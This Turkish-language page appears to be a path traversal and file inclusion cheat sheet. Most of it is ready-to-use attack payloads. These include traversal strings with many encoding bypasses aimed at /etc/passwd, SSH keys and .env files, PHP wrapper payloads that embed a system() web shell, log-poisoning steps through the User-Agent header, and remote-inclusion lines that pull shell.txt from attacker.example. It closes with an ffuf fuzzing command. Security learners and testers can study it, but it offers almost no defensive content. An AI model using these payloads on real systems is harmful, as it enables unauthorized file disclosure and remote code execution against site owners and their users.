Skip to content

Path Traversal & File Inclusion

OWASP · Injection / Broken Access Control difficulty: orta

Path Traversal (dizin gezinme), uygulamanın dosya yolu için kullandığı girdinin kısıtlanmaması sonucu web kökü dışındaki dosyalara erişimdir. File Inclusion ise bu dosyanın uygulama tarafından dahil edilip çalıştırılmasıdır (özellikle PHP include/require). Path traversal sadece okuma verir; LFI/RFI kod çalıştırmaya kadar gidebilir.

?file=../../../../etc/passwd
?file=..\..\..\..\windows\win.ini
?download=....//....//....//etc/passwd

Hedef dosyalar (Linux): /etc/passwd, /etc/hosts, web config (/var/www/html/…, .env), uygulama kaynak kodu, SSH anahtarları, proc fs (/proc/self/environ, /proc/self/cmdline).

Windows: C:\Windows\win.ini, C:\Windows\System32\drivers\etc\hosts, IIS web.config, bağlantı dizeleri.

....//....//etc/passwd # "../" tek geçişli strip
..././..././etc/passwd
..\/..\/etc/passwd
%2e%2e%2f%2e%2e%2f # URL encode
%2e%2e%5c # backslash encode
..%252f..%252f # çift encode
..%c0%af..%c0%af # overlong UTF-8 (eski)
/var/www/images/../../../etc/passwd # base path + traversal
../../../etc/passwd%00.png # null byte (eski PHP < 5.3)
....\/....\/etc/passwd

Prefix zorunluysa (/var/www/images/):

?file=/var/www/images/../../../etc/passwd

Suffix zorunluysa (.png): wrapper veya null byte (eski sürümler); modernde çoğu zaman LFI wrapper gerekir.

// Güvensiz
include($_GET['page'] . '.php');
?page=../../../../etc/passwd%00 # tarihsel
?page=../../../../etc/passwd # eğer suffix yoksa / wrapper ile
# Kaynak kodu oku (base64)
php://filter/convert.base64-encode/resource=index
php://filter/read=string.rot13/resource=config
php://filter/convert.iconv.utf-8.utf-16/resource=index
# data:// ile kod çalıştır (allow_url_include benzeri koşullar)
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NdKTs/Pg==
data://text/plain,<?php system($_GET['c']); ?>
# expect eklentisi
expect://id
# input / phar
php://input # POST gövdesinde PHP (koşullu)
phar://upload.phar # phar deserialization ile birleşebilir

php://filter çoğu zaman sadece okuma için yeterlidir ve RCE gerektirmez — kaynak kod / credentials sızdırma için birincil araçtır.

  1. Log poisoning — User-Agent / URL’ye PHP yaz: Sonra: ?page=/var/log/apache2/access.log&c=id (nginx: /var/log/nginx/access.log , SSH: /var/log/auth.log )

    GET / HTTP/1.1
    Host: hedef
    User-Agent: <?php system($_GET['c']); ?>
  2. Session dosyası — oturum değerine PHP koy, sonra /var/lib/php/sessions/sess_<id> dahil et.

  3. Upload + LFI — görsel olarak yüklenen dosyaya PHP göm, ?page=uploads/avatar.jpg ile include et.

  4. ** /proc/self/fd /environ** — ortam değişkenleri veya açık fd üzerinden kontrol edilebilir içerik.

  5. PHP PEAR / tmp dosyaları — yarış veya bilinen temp yolları.

allow_url_include=On ve allow_url_fopen ile uzak dosya dahil edilebilir:

?page=http://attacker.example/shell.txt
?page=http://attacker.example/shell.txt?
?page=\\attacker.example\share\shell.php # SMB (Windows PHP)

Modern PHP’de varsayılan kapalıdır; yine de eski / özel yapılandırmalarda görülür.

# Parametre adları
file, page, path, template, include, doc, folder, root, style, pdf, lang
# Hata farkı
geçerli dosya vs ../../../../etc/passwd vs rastgele string
# null / wrapper denemeleri
php://filter/... ve ....// varyantları
Terminal window
ffuf -u 'https://hedef/view?file=FUZZ' -w lfi-wordlist.txt -mc 200 -fs <len>